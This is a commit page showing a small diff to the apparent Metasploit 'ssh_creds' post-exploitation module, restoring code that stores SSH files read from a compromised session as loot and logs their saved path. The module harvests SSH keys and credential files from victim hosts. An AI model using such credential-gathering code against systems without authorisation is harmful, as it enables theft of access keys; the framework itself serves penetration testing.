Land #5184, restore store_loot for ssh_creds gatherer
commit
4ffffa59fe
|
@ -61,7 +61,8 @@ class Metasploit3 < Msf::Post
|
|||
data = read_file("#{path}#{sep}#{file}")
|
||||
file = file.split(sep).last
|
||||
|
||||
print_good("Downloaded #{path}#{sep}#{file}")
|
||||
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
|
||||
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
|
||||
|
||||
begin
|
||||
key = SSHKey.new(data, :passphrase => "")
|
||||
|
|
Loading…
Reference in New Issue